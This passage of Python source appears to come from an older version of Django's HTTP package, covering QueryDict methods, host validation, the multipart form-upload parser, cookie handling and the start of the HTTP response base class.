    def fromkeys(cls, iterable, value='', mutable=False, encoding=None):
        """
        Return a new QueryDict with keys (may be repeated) from an iterable and
        values from value.
        """
        q = cls('', mutable=True, encoding=encoding)
        for key in iterable:
            q.appendlist(key, value)
        if not mutable:
            q._mutable = False
        return q

    @property
    def encoding(self):
        if self._encoding is None:
            self._encoding = settings.DEFAULT_CHARSET
        return self._encoding

    @encoding.setter
    def encoding(self, value):
        self._encoding = value

    def _assert_mutable(self):
        if not self._mutable:
            raise AttributeError("This QueryDict instance is immutable")

    def __setitem__(self, key, value):
        self._assert_mutable()
        key = bytes_to_text(key, self.encoding)
        value = bytes_to_text(value, self.encoding)
        super(QueryDict, self).__setitem__(key, value)

    def __delitem__(self, key):
        self._assert_mutable()
        super(QueryDict, self).__delitem__(key)

    def __copy__(self):
        result = self.__class__('', mutable=True, encoding=self.encoding)
        for key, value in six.iterlists(self):
            result.setlist(key, value)
        return result

    def __deepcopy__(self, memo):
        result = self.__class__('', mutable=True, encoding=self.encoding)
        memo[id(self)] = result
        for key, value in six.iterlists(self):
            result.setlist(copy.deepcopy(key, memo), copy.deepcopy(value, memo))
        return result

    def setlist(self, key, list_):
        self._assert_mutable()
        key = bytes_to_text(key, self.encoding)
        list_ = [bytes_to_text(elt, self.encoding) for elt in list_]
        super(QueryDict, self).setlist(key, list_)

    def setlistdefault(self, key, default_list=None):
        self._assert_mutable()
        return super(QueryDict, self).setlistdefault(key, default_list)

    def appendlist(self, key, value):
        self._assert_mutable()
        key = bytes_to_text(key, self.encoding)
        value = bytes_to_text(value, self.encoding)
        super(QueryDict, self).appendlist(key, value)

    def pop(self, key, *args):
        self._assert_mutable()
        return super(QueryDict, self).pop(key, *args)

    def popitem(self):
        self._assert_mutable()
        return super(QueryDict, self).popitem()

    def clear(self):
        self._assert_mutable()
        super(QueryDict, self).clear()

    def setdefault(self, key, default=None):
        self._assert_mutable()
        key = bytes_to_text(key, self.encoding)
        default = bytes_to_text(default, self.encoding)
        return super(QueryDict, self).setdefault(key, default)

    def copy(self):
        """Returns a mutable copy of this object."""
        return self.__deepcopy__({})

    def urlencode(self, safe=None):
        """
        Returns an encoded string of all query string arguments.

        :arg safe: Used to specify characters which do not require quoting, for
            example::

                >>> q = QueryDict(mutable=True)
                >>> q['next'] = '/a&b/'
                >>> q.urlencode()
                'next=%2Fa%26b%2F'
                >>> q.urlencode(safe='/')
                'next=/a%26b/'
        """
        output = []
        if safe:
            safe = force_bytes(safe, self.encoding)

            def encode(k, v):
                return '%s=%s' % ((quote(k, safe), quote(v, safe)))
        else:
            def encode(k, v):
                return urlencode({k: v})
        for k, list_ in self.lists():
            k = force_bytes(k, self.encoding)
            output.extend(encode(k, force_bytes(v, self.encoding))
                          for v in list_)
        return '&'.join(output)


# It's neither necessary nor appropriate to use
# django.utils.encoding.smart_text for parsing URLs and form inputs. Thus,
# this slightly more restricted function, used by QueryDict.
def bytes_to_text(s, encoding):
    """
    Converts basestring objects to unicode, using the given encoding. Illegally
    encoded input characters are replaced with Unicode "unknown" codepoint
    (\ufffd).

    Returns any non-basestring objects without change.
    """
    if isinstance(s, bytes):
        return six.text_type(s, encoding, 'replace')
    else:
        return s


def split_domain_port(host):
    """
    Return a (domain, port) tuple from a given host.

    Returned domain is lower-cased. If the host is invalid, the domain will be
    empty.
    """
    host = host.lower()

    if not host_validation_re.match(host):
        return '', ''

    if host[-1] == ']':
        # It's an IPv6 address without a port.
        return host, ''
    bits = host.rsplit(':', 1)
    if len(bits) == 2:
        return tuple(bits)
    return bits[0], ''


def validate_host(host, allowed_hosts):
    """
    Validate the given host for this site.

    Check that the host looks valid and matches a host or host pattern in the
    given list of ``allowed_hosts``. Any pattern beginning with a period
    matches a domain and all its subdomains (e.g. ``.example.com`` matches
    ``example.com`` and any subdomain), ``*`` matches anything, and anything
    else must match exactly.

    Note: This function assumes that the given host is lower-cased and has
    already had the port, if any, stripped off.

    Return ``True`` for a valid host, ``False`` otherwise.
    """
    host = host[:-1] if host.endswith('.') else host

    for pattern in allowed_hosts:
        if pattern == '*' or is_same_domain(host, pattern):
            return True

    return False






"""
Multi-part parsing for file uploads.

Exposes one class, ``MultiPartParser``, which feeds chunks of uploaded data to
file upload handlers for processing.
"""
from __future__ import unicode_literals

import base64
import binascii
import cgi
import sys

from django.conf import settings
from django.core.exceptions import (
    RequestDataTooBig, SuspiciousMultipartForm, TooManyFieldsSent,
)
from django.core.files.uploadhandler import (
    SkipFile, StopFutureHandlers, StopUpload,
)
from django.utils import six
from django.utils.datastructures import MultiValueDict
from django.utils.encoding import force_text
from django.utils.six.moves.urllib.parse import unquote
from django.utils.text import unescape_entities

__all__ = ('MultiPartParser', 'MultiPartParserError', 'InputStreamExhausted')


class MultiPartParserError(Exception):
    pass


class InputStreamExhausted(Exception):
    """
    No more reads are allowed from this device.
    """
    pass

RAW = "raw"
FILE = "file"
FIELD = "field"

_BASE64_DECODE_ERROR = TypeError if six.PY2 else binascii.Error


class MultiPartParser(object):
    """
    A rfc2388 multipart/form-data parser.

    ``MultiValueDict.parse()`` reads the input stream in ``chunk_size`` chunks
    and returns a tuple of ``(MultiValueDict(POST), MultiValueDict(FILES))``.
    """
    def __init__(self, META, input_data, upload_handlers, encoding=None):
        """
        Initialize the MultiPartParser object.

        :META:
            The standard ``META`` dictionary in Django request objects.
        :input_data:
            The raw post data, as a file-like object.
        :upload_handlers:
            A list of UploadHandler instances that perform operations on the
            uploaded data.
        :encoding:
            The encoding with which to treat the incoming data.
        """
        # Content-Type should contain multipart and the boundary information.
        content_type = META.get('CONTENT_TYPE', '')
        if not content_type.startswith('multipart/'):
            raise MultiPartParserError('Invalid Content-Type: %s' % content_type)

        # Parse the header to get the boundary to split the parts.
        ctypes, opts = parse_header(content_type.encode('ascii'))
        boundary = opts.get('boundary')
        if not boundary or not cgi.valid_boundary(boundary):
            raise MultiPartParserError('Invalid boundary in multipart: %s' % boundary)

        # Content-Length should contain the length of the body we are about
        # to receive.
        try:
            content_length = int(META.get('CONTENT_LENGTH', 0))
        except (ValueError, TypeError):
            content_length = 0

        if content_length < 0:
            # This means we shouldn't continue...raise an error.
            raise MultiPartParserError("Invalid content length: %r" % content_length)

        if isinstance(boundary, six.text_type):
            boundary = boundary.encode('ascii')
        self._boundary = boundary
        self._input_data = input_data

        # For compatibility with low-level network APIs (with 32-bit integers),
        # the chunk size should be < 2^31, but still divisible by 4.
        possible_sizes = [x.chunk_size for x in upload_handlers if x.chunk_size]
        self._chunk_size = min([2 ** 31 - 4] + possible_sizes)

        self._meta = META
        self._encoding = encoding or settings.DEFAULT_CHARSET
        self._content_length = content_length
        self._upload_handlers = upload_handlers

    def parse(self):
        """
        Parse the POST data and break it into a FILES MultiValueDict and a POST
        MultiValueDict.

        Return a tuple containing the POST and FILES dictionary, respectively.
        """
        from django.http import QueryDict

        encoding = self._encoding
        handlers = self._upload_handlers

        # HTTP spec says that Content-Length >= 0 is valid
        # handling content-length == 0 before continuing
        if self._content_length == 0:
            return QueryDict(encoding=self._encoding), MultiValueDict()

        # See if any of the handlers take care of the parsing.
        # This allows overriding everything if need be.
        for handler in handlers:
            result = handler.handle_raw_input(
                self._input_data,
                self._meta,
                self._content_length,
                self._boundary,
                encoding,
            )
            # Check to see if it was handled
            if result is not None:
                return result[0], result[1]

        # Create the data structures to be used later.
        self._post = QueryDict(mutable=True)
        self._files = MultiValueDict()

        # Instantiate the parser and stream:
        stream = LazyStream(ChunkIter(self._input_data, self._chunk_size))

        # Whether or not to signal a file-completion at the beginning of the loop.
        old_field_name = None
        counters = [0] * len(handlers)

        # Number of bytes that have been read.
        num_bytes_read = 0
        # To count the number of keys in the request.
        num_post_keys = 0
        # To limit the amount of data read from the request.
        read_size = None

        try:
            for item_type, meta_data, field_stream in Parser(stream, self._boundary):
                if old_field_name:
                    # We run this at the beginning of the next loop
                    # since we cannot be sure a file is complete until
                    # we hit the next boundary/part of the multipart content.
                    self.handle_file_complete(old_field_name, counters)
                    old_field_name = None

                try:
                    disposition = meta_data['content-disposition'][1]
                    field_name = disposition['name'].strip()
                except (KeyError, IndexError, AttributeError):
                    continue

                transfer_encoding = meta_data.get('content-transfer-encoding')
                if transfer_encoding is not None:
                    transfer_encoding = transfer_encoding[0].strip()
                field_name = force_text(field_name, encoding, errors='replace')

                if item_type == FIELD:
                    # Avoid storing more than DATA_UPLOAD_MAX_NUMBER_FIELDS.
                    num_post_keys += 1
                    if (settings.DATA_UPLOAD_MAX_NUMBER_FIELDS is not None and
                            settings.DATA_UPLOAD_MAX_NUMBER_FIELDS < num_post_keys):
                        raise TooManyFieldsSent(
                            'The number of GET/POST parameters exceeded '
                            'settings.DATA_UPLOAD_MAX_NUMBER_FIELDS.'
                        )

                    # Avoid reading more than DATA_UPLOAD_MAX_MEMORY_SIZE.
                    if settings.DATA_UPLOAD_MAX_MEMORY_SIZE is not None:
                        read_size = settings.DATA_UPLOAD_MAX_MEMORY_SIZE - num_bytes_read

                    # This is a post field, we can just set it in the post
                    if transfer_encoding == 'base64':
                        raw_data = field_stream.read(size=read_size)
                        num_bytes_read += len(raw_data)
                        try:
                            data = base64.b64decode(raw_data)
                        except _BASE64_DECODE_ERROR:
                            data = raw_data
                    else:
                        data = field_stream.read(size=read_size)
                        num_bytes_read += len(data)

                    # Add two here to make the check consistent with the
                    # x-www-form-urlencoded check that includes '&='.
                    num_bytes_read += len(field_name) + 2
                    if (settings.DATA_UPLOAD_MAX_MEMORY_SIZE is not None and
                            num_bytes_read > settings.DATA_UPLOAD_MAX_MEMORY_SIZE):
                        raise RequestDataTooBig('Request body exceeded settings.DATA_UPLOAD_MAX_MEMORY_SIZE.')

                    self._post.appendlist(field_name, force_text(data, encoding, errors='replace'))
                elif item_type == FILE:
                    # This is a file, use the handler...
                    file_name = disposition.get('filename')
                    if file_name:
                        file_name = force_text(file_name, encoding, errors='replace')
                        file_name = self.IE_sanitize(unescape_entities(file_name))
                    if not file_name:
                        continue

                    content_type, content_type_extra = meta_data.get('content-type', ('', {}))
                    content_type = content_type.strip()
                    charset = content_type_extra.get('charset')

                    try:
                        content_length = int(meta_data.get('content-length')[0])
                    except (IndexError, TypeError, ValueError):
                        content_length = None

                    counters = [0] * len(handlers)
                    try:
                        for handler in handlers:
                            try:
                                handler.new_file(
                                    field_name, file_name, content_type,
                                    content_length, charset, content_type_extra,
                                )
                            except StopFutureHandlers:
                                break

                        for chunk in field_stream:
                            if transfer_encoding == 'base64':
                                # We only special-case base64 transfer encoding
                                # We should always decode base64 chunks by multiple of 4,
                                # ignoring whitespace.

                                stripped_chunk = b"".join(chunk.split())

                                remaining = len(stripped_chunk) % 4
                                while remaining != 0:
                                    over_chunk = field_stream.read(4 - remaining)
                                    stripped_chunk += b"".join(over_chunk.split())
                                    remaining = len(stripped_chunk) % 4

                                try:
                                    chunk = base64.b64decode(stripped_chunk)
                                except Exception as e:
                                    # Since this is only a chunk, any error is an unfixable error.
                                    msg = "Could not decode base64 data: %r" % e
                                    six.reraise(MultiPartParserError, MultiPartParserError(msg), sys.exc_info()[2])

                            for i, handler in enumerate(handlers):
                                chunk_length = len(chunk)
                                chunk = handler.receive_data_chunk(chunk, counters[i])
                                counters[i] += chunk_length
                                if chunk is None:
                                    # Don't continue if the chunk received by
                                    # the handler is None.
                                    break

                    except SkipFile:
                        self._close_files()
                        # Just use up the rest of this file...
                        exhaust(field_stream)
                    else:
                        # Handle file upload completions on next iteration.
                        old_field_name = field_name
                else:
                    # If this is neither a FIELD or a FILE, just exhaust the stream.
                    exhaust(stream)
        except StopUpload as e:
            self._close_files()
            if not e.connection_reset:
                exhaust(self._input_data)
        else:
            # Make sure that the request data is all fed
            exhaust(self._input_data)

        # Signal that the upload has completed.
        for handler in handlers:
            retval = handler.upload_complete()
            if retval:
                break

        return self._post, self._files

    def handle_file_complete(self, old_field_name, counters):
        """
        Handle all the signaling that takes place when a file is complete.
        """
        for i, handler in enumerate(self._upload_handlers):
            file_obj = handler.file_complete(counters[i])
            if file_obj:
                # If it returns a file object, then set the files dict.
                self._files.appendlist(force_text(old_field_name, self._encoding, errors='replace'), file_obj)
                break

    def IE_sanitize(self, filename):
        """Cleanup filename from Internet Explorer full paths."""
        return filename and filename[filename.rfind("\\") + 1:].strip()

    def _close_files(self):
        # Free up all file handles.
        # FIXME: this currently assumes that upload handlers store the file as 'file'
        # We should document that... (Maybe add handler.free_file to complement new_file)
        for handler in self._upload_handlers:
            if hasattr(handler, 'file'):
                handler.file.close()


class LazyStream(six.Iterator):
    """
    The LazyStream wrapper allows one to get and "unget" bytes from a stream.

    Given a producer object (an iterator that yields bytestrings), the
    LazyStream object will support iteration, reading, and keeping a "look-back"
    variable in case you need to "unget" some bytes.
    """
    def __init__(self, producer, length=None):
        """
        Every LazyStream must have a producer when instantiated.

        A producer is an iterable that returns a string each time it
        is called.
        """
        self._producer = producer
        self._empty = False
        self._leftover = b''
        self.length = length
        self.position = 0
        self._remaining = length
        self._unget_history = []

    def tell(self):
        return self.position

    def read(self, size=None):
        def parts():
            remaining = self._remaining if size is None else size
            # do the whole thing in one shot if no limit was provided.
            if remaining is None:
                yield b''.join(self)
                return

            # otherwise do some bookkeeping to return exactly enough
            # of the stream and stashing any extra content we get from
            # the producer
            while remaining != 0:
                assert remaining > 0, 'remaining bytes to read should never go negative'

                try:
                    chunk = next(self)
                except StopIteration:
                    return
                else:
                    emitting = chunk[:remaining]
                    self.unget(chunk[remaining:])
                    remaining -= len(emitting)
                    yield emitting

        out = b''.join(parts())
        return out

    def __next__(self):
        """
        Used when the exact number of bytes to read is unimportant.

        This procedure just returns whatever is chunk is conveniently returned
        from the iterator instead. Useful to avoid unnecessary bookkeeping if
        performance is an issue.
        """
        if self._leftover:
            output = self._leftover
            self._leftover = b''
        else:
            output = next(self._producer)
            self._unget_history = []
        self.position += len(output)
        return output

    def close(self):
        """
        Used to invalidate/disable this lazy stream.

        Replaces the producer with an empty list. Any leftover bytes that have
        already been read will still be reported upon read() and/or next().
        """
        self._producer = []

    def __iter__(self):
        return self

    def unget(self, bytes):
        """
        Places bytes back onto the front of the lazy stream.

        Future calls to read() will return those bytes first. The
        stream position and thus tell() will be rewound.
        """
        if not bytes:
            return
        self._update_unget_history(len(bytes))
        self.position -= len(bytes)
        self._leftover = b''.join([bytes, self._leftover])

    def _update_unget_history(self, num_bytes):
        """
        Updates the unget history as a sanity check to see if we've pushed
        back the same number of bytes in one chunk. If we keep ungetting the
        same number of bytes many times (here, 50), we're mostly likely in an
        infinite loop of some sort. This is usually caused by a
        maliciously-malformed MIME request.
        """
        self._unget_history = [num_bytes] + self._unget_history[:49]
        number_equal = len([
            current_number for current_number in self._unget_history
            if current_number == num_bytes
        ])

        if number_equal > 40:
            raise SuspiciousMultipartForm(
                "The multipart parser got stuck, which shouldn't happen with"
                " normal uploaded files. Check for malicious upload activity;"
                " if there is none, report this to the Django developers."
            )


class ChunkIter(six.Iterator):
    """
    An iterable that will yield chunks of data. Given a file-like object as the
    constructor, this object will yield chunks of read operations from that
    object.
    """
    def __init__(self, flo, chunk_size=64 * 1024):
        self.flo = flo
        self.chunk_size = chunk_size

    def __next__(self):
        try:
            data = self.flo.read(self.chunk_size)
        except InputStreamExhausted:
            raise StopIteration()
        if data:
            return data
        else:
            raise StopIteration()

    def __iter__(self):
        return self


class InterBoundaryIter(six.Iterator):
    """
    A Producer that will iterate over boundaries.
    """
    def __init__(self, stream, boundary):
        self._stream = stream
        self._boundary = boundary

    def __iter__(self):
        return self

    def __next__(self):
        try:
            return LazyStream(BoundaryIter(self._stream, self._boundary))
        except InputStreamExhausted:
            raise StopIteration()


class BoundaryIter(six.Iterator):
    """
    A Producer that is sensitive to boundaries.

    Will happily yield bytes until a boundary is found. Will yield the bytes
    before the boundary, throw away the boundary bytes themselves, and push the
    post-boundary bytes back on the stream.

    The future calls to next() after locating the boundary will raise a
    StopIteration exception.
    """

    def __init__(self, stream, boundary):
        self._stream = stream
        self._boundary = boundary
        self._done = False
        # rollback an additional six bytes because the format is like
        # this: CRLF<boundary>[--CRLF]
        self._rollback = len(boundary) + 6

        # Try to use mx fast string search if available. Otherwise
        # use Python find. Wrap the latter for consistency.
        unused_char = self._stream.read(1)
        if not unused_char:
            raise InputStreamExhausted()
        self._stream.unget(unused_char)

    def __iter__(self):
        return self

    def __next__(self):
        if self._done:
            raise StopIteration()

        stream = self._stream
        rollback = self._rollback

        bytes_read = 0
        chunks = []
        for bytes in stream:
            bytes_read += len(bytes)
            chunks.append(bytes)
            if bytes_read > rollback:
                break
            if not bytes:
                break
        else:
            self._done = True

        if not chunks:
            raise StopIteration()

        chunk = b''.join(chunks)
        boundary = self._find_boundary(chunk, len(chunk) < self._rollback)

        if boundary:
            end, next = boundary
            stream.unget(chunk[next:])
            self._done = True
            return chunk[:end]
        else:
            # make sure we don't treat a partial boundary (and
            # its separators) as data
            if not chunk[:-rollback]:  # and len(chunk) >= (len(self._boundary) + 6):
                # There's nothing left, we should just return and mark as done.
                self._done = True
                return chunk
            else:
                stream.unget(chunk[-rollback:])
                return chunk[:-rollback]

    def _find_boundary(self, data, eof=False):
        """
        Finds a multipart boundary in data.

        Should no boundary exist in the data None is returned instead. Otherwise
        a tuple containing the indices of the following are returned:

         * the end of current encapsulation
         * the start of the next encapsulation
        """
        index = data.find(self._boundary)
        if index < 0:
            return None
        else:
            end = index
            next = index + len(self._boundary)
            # backup over CRLF
            last = max(0, end - 1)
            if data[last:last + 1] == b'\n':
                end -= 1
            last = max(0, end - 1)
            if data[last:last + 1] == b'\r':
                end -= 1
            return end, next


def exhaust(stream_or_iterable):
    """
    Completely exhausts an iterator or stream.

    Raise a MultiPartParserError if the argument is not a stream or an iterable.
    """
    iterator = None
    try:
        iterator = iter(stream_or_iterable)
    except TypeError:
        iterator = ChunkIter(stream_or_iterable, 16384)

    if iterator is None:
        raise MultiPartParserError('multipartparser.exhaust() was passed a non-iterable or stream parameter')

    for __ in iterator:
        pass


def parse_boundary_stream(stream, max_header_size):
    """
    Parses one and exactly one stream that encapsulates a boundary.
    """
    # Stream at beginning of header, look for end of header
    # and parse it if found. The header must fit within one
    # chunk.
    chunk = stream.read(max_header_size)

    # 'find' returns the top of these four bytes, so we'll
    # need to munch them later to prevent them from polluting
    # the payload.
    header_end = chunk.find(b'\r\n\r\n')

    def _parse_header(line):
        main_value_pair, params = parse_header(line)
        try:
            name, value = main_value_pair.split(':', 1)
        except ValueError:
            raise ValueError("Invalid header: %r" % line)
        return name, (value, params)

    if header_end == -1:
        # we find no header, so we just mark this fact and pass on
        # the stream verbatim
        stream.unget(chunk)
        return (RAW, {}, stream)

    header = chunk[:header_end]

    # here we place any excess chunk back onto the stream, as
    # well as throwing away the CRLFCRLF bytes from above.
    stream.unget(chunk[header_end + 4:])

    TYPE = RAW
    outdict = {}

    # Eliminate blank lines
    for line in header.split(b'\r\n'):
        # This terminology ("main value" and "dictionary of
        # parameters") is from the Python docs.
        try:
            name, (value, params) = _parse_header(line)
        except ValueError:
            continue

        if name == 'content-disposition':
            TYPE = FIELD
            if params.get('filename'):
                TYPE = FILE

        outdict[name] = value, params

    if TYPE == RAW:
        stream.unget(chunk)

    return (TYPE, outdict, stream)


class Parser(object):
    def __init__(self, stream, boundary):
        self._stream = stream
        self._separator = b'--' + boundary

    def __iter__(self):
        boundarystream = InterBoundaryIter(self._stream, self._separator)
        for sub_stream in boundarystream:
            # Iterate over each part
            yield parse_boundary_stream(sub_stream, 1024)


def parse_header(line):
    """
    Parse the header into a key-value.

    Input (line): bytes, output: unicode for key/name, bytes for value which
    will be decoded later.
    """
    plist = _parse_header_params(b';' + line)
    key = plist.pop(0).lower().decode('ascii')
    pdict = {}
    for p in plist:
        i = p.find(b'=')
        if i >= 0:
            has_encoding = False
            name = p[:i].strip().lower().decode('ascii')
            if name.endswith('*'):
                # Lang/encoding embedded in the value (like "filename*=UTF-8''file.ext")
                # http://tools.ietf.org/html/rfc2231#section-4
                name = name[:-1]
                if p.count(b"'") == 2:
                    has_encoding = True
            value = p[i + 1:].strip()
            if has_encoding:
                encoding, lang, value = value.split(b"'")
                if six.PY3:
                    value = unquote(value.decode(), encoding=encoding.decode())
                else:
                    value = unquote(value).decode(encoding)
            if len(value) >= 2 and value[:1] == value[-1:] == b'"':
                value = value[1:-1]
                value = value.replace(b'\\\\', b'\\').replace(b'\\"', b'"')
            pdict[name] = value
    return key, pdict


def _parse_header_params(s):
    plist = []
    while s[:1] == b';':
        s = s[1:]
        end = s.find(b';')
        while end > 0 and s.count(b'"', 0, end) % 2:
            end = s.find(b';', end + 1)
        if end < 0:
            end = len(s)
        f = s[:end]
        plist.append(f.strip())
        s = s[end:]
    return plist






from __future__ import unicode_literals

import sys

from django.utils import six
from django.utils.encoding import force_str
from django.utils.six.moves import http_cookies

# http://bugs.python.org/issue2193 is fixed in Python 3.3+.
_cookie_allows_colon_in_names = six.PY3

# Cookie pickling bug is fixed in Python 2.7.9 and Python 3.4.3+
# http://bugs.python.org/issue22775
cookie_pickles_properly = (
    (sys.version_info[:2] == (2, 7) and sys.version_info >= (2, 7, 9)) or
    sys.version_info >= (3, 4, 3)
)

if _cookie_allows_colon_in_names and cookie_pickles_properly:
    SimpleCookie = http_cookies.SimpleCookie
else:
    Morsel = http_cookies.Morsel

    class SimpleCookie(http_cookies.SimpleCookie):
        if not cookie_pickles_properly:
            def __setitem__(self, key, value):
                # Apply the fix from http://bugs.python.org/issue22775 where
                # it's not fixed in Python itself
                if isinstance(value, Morsel):
                    # allow assignment of constructed Morsels (e.g. for pickling)
                    dict.__setitem__(self, key, value)
                else:
                    super(SimpleCookie, self).__setitem__(key, value)

        if not _cookie_allows_colon_in_names:
            def load(self, rawdata):
                self.bad_cookies = set()
                if isinstance(rawdata, six.text_type):
                    rawdata = force_str(rawdata)
                super(SimpleCookie, self).load(rawdata)
                for key in self.bad_cookies:
                    del self[key]

            # override private __set() method:
            # (needed for using our Morsel, and for laxness with CookieError
            def _BaseCookie__set(self, key, real_value, coded_value):
                key = force_str(key)
                try:
                    M = self.get(key, Morsel())
                    M.set(key, real_value, coded_value)
                    dict.__setitem__(self, key, M)
                except http_cookies.CookieError:
                    if not hasattr(self, 'bad_cookies'):
                        self.bad_cookies = set()
                    self.bad_cookies.add(key)
                    dict.__setitem__(self, key, http_cookies.Morsel())


def parse_cookie(cookie):
    """
    Return a dictionary parsed from a `Cookie:` header string.
    """
    cookiedict = {}
    if six.PY2:
        cookie = force_str(cookie)
    for chunk in cookie.split(str(';')):
        if str('=') in chunk:
            key, val = chunk.split(str('='), 1)
        else:
            # Assume an empty name per
            # https://bugzilla.mozilla.org/show_bug.cgi?id=169091
            key, val = str(''), chunk
        key, val = key.strip(), val.strip()
        if key or val:
            # unquote using Python's algorithm.
            cookiedict[key] = http_cookies._unquote(val)
    return cookiedict






from django.http.cookie import SimpleCookie, parse_cookie
from django.http.request import (
    HttpRequest, QueryDict, RawPostDataException, UnreadablePostError,
)
from django.http.response import (
    BadHeaderError, FileResponse, Http404, HttpResponse,
    HttpResponseBadRequest, HttpResponseForbidden, HttpResponseGone,
    HttpResponseNotAllowed, HttpResponseNotFound, HttpResponseNotModified,
    HttpResponsePermanentRedirect, HttpResponseRedirect,
    HttpResponseServerError, JsonResponse, StreamingHttpResponse,
)

__all__ = [
    'SimpleCookie', 'parse_cookie', 'HttpRequest', 'QueryDict',
    'RawPostDataException', 'UnreadablePostError',
    'HttpResponse', 'StreamingHttpResponse', 'HttpResponseRedirect',
    'HttpResponsePermanentRedirect', 'HttpResponseNotModified',
    'HttpResponseBadRequest', 'HttpResponseForbidden', 'HttpResponseNotFound',
    'HttpResponseNotAllowed', 'HttpResponseGone', 'HttpResponseServerError',
    'Http404', 'BadHeaderError', 'JsonResponse', 'FileResponse',
]






from __future__ import unicode_literals

import datetime
import json
import re
import sys
import time
from email.header import Header

from django.conf import settings
from django.core import signals, signing
from django.core.exceptions import DisallowedRedirect
from django.core.serializers.json import DjangoJSONEncoder
from django.http.cookie import SimpleCookie
from django.utils import six, timezone
from django.utils.encoding import (
    force_bytes, force_str, force_text, iri_to_uri,
)
from django.utils.http import cookie_date
from django.utils.six.moves import map
from django.utils.six.moves.http_client import responses
from django.utils.six.moves.urllib.parse import urlparse

_charset_from_content_type_re = re.compile(r';\s*charset=(?P<charset>[^\s;]+)', re.I)


class BadHeaderError(ValueError):
    pass


class HttpResponseBase(six.Iterator):
    """
    An HTTP response base class with dictionary-accessed headers.

    This class doesn't handle content. It should not be used directly.
    Use the HttpResponse and StreamingHttpResponse subclasses instead.
    """

    status_code = 200

    def __init__(self, content_type=None, status=None, reason=None, charset=None):
        # _headers is a mapping of the lower-case name to the original case of
        # the header (required for working with legacy systems) and the header
        # value. Both the name of the header and its value are ASCII strings.
        self._headers = {}
        self._closable_objects = []
        # This parameter is set by the handler. It's necessary to preserve the
        # historical behavior of request_finished.
        self._handler_class = None
        self.cookies = SimpleCookie()
        self.closed = False
        if status is not None:
            self.status_code = status
        self._reason_phrase = reason
        self._charset = charset
        if content_type is None:
            content_type = '%s; charset=%s' % (settings.DEFAULT_CONTENT_TYPE,
                                               self.charset)
        self['Content-Type'] = content_type

    @property
    def reason_phrase(self):
        if self._reason_phrase is not None:
            return self._reason_phrase
        # Leave self._reason_phrase unset in order to use the default
        # reason phrase for status code.
        return responses.get(self.status_code, 'Unknown Status Code')

    @reason_phrase.setter
    def reason_phrase(self, value):
        self._reason_phrase = value

    @property
    def charset(self):
        if self._charset is not None:
            return self._charset
        content_type = self.get('Content-Type', '')
        matched = _charset_from_content_type_re.search(content_type)
        if matched:
            # Extract the charset and strip its double quotes
            return matched.group('charset').replace('"', '')
        return settings.DEFAULT_CHARSET

    @charset.setter
    def charset(self, value):
        self._charset = value

    def serialize_headers(self):
        """HTTP headers as a bytestring."""
        def to_bytes(val, encoding):
            return val if isinstance(val, bytes) else val.encode(encoding)

        headers = [
            (b': '.join([to_bytes(key, 'ascii'), to_bytes(value, 'latin-1')]))
            for key, value in self._headers.values()
        ]
        return b'\r\n'.join(headers)

    if six.PY3:
        __bytes__ = serialize_headers
    else:
        __str__ = serialize_headers

    def _convert_to_charset(self, value, charset, mime_encode=False):
        """Converts headers key/value to ascii/latin-1 native strings.

        `charset` must be 'ascii' or 'latin-1'. If `mime_encode` is True and
        `value` can't be represented in the given charset, MIME-encoding
        is applied.
        """
        if not isinstance(value, (bytes, six.text_type)):
            value = str(value)
        if ((isinstance(value, bytes) and (b'\n' in value or b'\r' in value)) or
                isinstance(value, six.text_type) and ('\n' in value or '\r' in value)):
            raise BadHeaderError("Header values can't contain newlines (got %r)" % value)
        try:
            if six.PY3:
                if isinstance(value, str):
                    # Ensure string is valid in given charset
                    value.encode(charset)
                else:
                    # Convert bytestring using given charset
                    value = value.decode(charset)
            else:
                if isinstance(value, str):
                    # Ensure string is valid in given charset
                    value.decode(charset)
                else:
                    # Convert unicode string to given charset
                    value = value.encode(charset)
        except UnicodeError as e:
            if mime_encode:
                # Wrapping in str() is a workaround for #12422 under Python 2.
                value = str(Header(value, 'utf-8', maxlinelen=sys.maxsize).encode())
            else:
                e.reason += ', HTTP response headers must be in %s format' % charset
                raise
        return value

    def __setitem__(self, header, value):
        header = self._convert_to_charset(header, 'ascii')
        value = self._convert_to_charset(value, 'latin-1', mime_encode=True)
        self._headers[header.lower()] = (header, value)

    def __delitem__(self, header):
        try:
            del self._headers[header.lower()]
        except KeyError:
            pass

    def __getitem__(self, header):
        return self._headers[header.lower()][1]

    def has_header(self, header):
        """Case-insensitive check for a header."""
        return header.lower() in self._headers

    __contains__ = has_header

    def items(self):
        return self._headers.values()

    def get(self, header, alternate=None):
        return self._headers.get(header.lower(), (None, alternate))[1]

    def set_cookie(self, key, value='', max_age=None, expires=None, path='/',
                   domain=None, secure=False, httponly=False):
        """
        Sets a cookie.

        ``expires`` can be:
        - a string in the correct format,
        - a naive ``datetime.datetime`` object in UTC,
        - an aware ``datetime.datetime`` object in any time zone.
        If it is a ``datetime.datetime`` object then ``max_age`` will be calculated.
        """
        value = force_str(value)
        self.cookies[key] = value
        if expires is not None:
            if isinstance(expires, datetime.datetime):
                if timezone.is_aware(expires):
                    expires = timezone.make_naive(expires, timezone.utc)
                delta = expires - expires.utcnow()
                # Add one second so the date matches exactly (a fraction of
                # time gets lost between converting to a timedelta and
                # then the date string).
                delta = delta + datetime.timedelta(seconds=1)
                # Just set max_age - the max_age logic will set expires.
                expires = None
                max_age = max(0, delta.days * 86400 + delta.seconds)
            else:
                self.cookies[key]['expires'] = expires
        else:
            self.cookies[key]['expires'] = ''
        if max_age is not None:
            self.cookies[key]['max-age'] = max_age
            # IE requires expires, so set it if hasn't been already.
            if not expires:
                self.cookies[key]['expires'] = cookie_date(time.time() +
                                                           max_age)
        if path is not None:
            self.cookies[key]['path'] = path
        if domain is not None:
            self.cookies[key]['domain'] = domain
        if secure:
            self.cookies[key]['secure'] = True
        if httponly:
            self.cookies[key]['httponly'] = True

    def setdefault(self, key, value):
        """Sets a header unless it has already been set."""
        if key not in self:
            self[key] = value

    def set_signed_cookie(self, key, value, salt='', **kwargs):
        value = signing.get_cookie_signer(salt=key + salt).sign(value)
        return self.set_cookie(key, value, **kwargs)

    def delete_cookie(self, key, path='/', domain=None):
        self.set_cookie(key, max_age=0, path=path, domain=domain,
                        expires='Thu, 01-Jan-1970 00:00:00 GMT')

    # Common methods used by subclasses

    def make_bytes(self, value):
        """Turn a value into a bytestring encoded in the output charset."""
        # Per PEP 3333, this response body must be bytes. To avoid returning
        # an instance of a subclass, this function returns `bytes(value)`.
        # This doesn't make a copy when `value` already contains bytes.

        # Handle string types -- we can't rely on force_bytes here because:
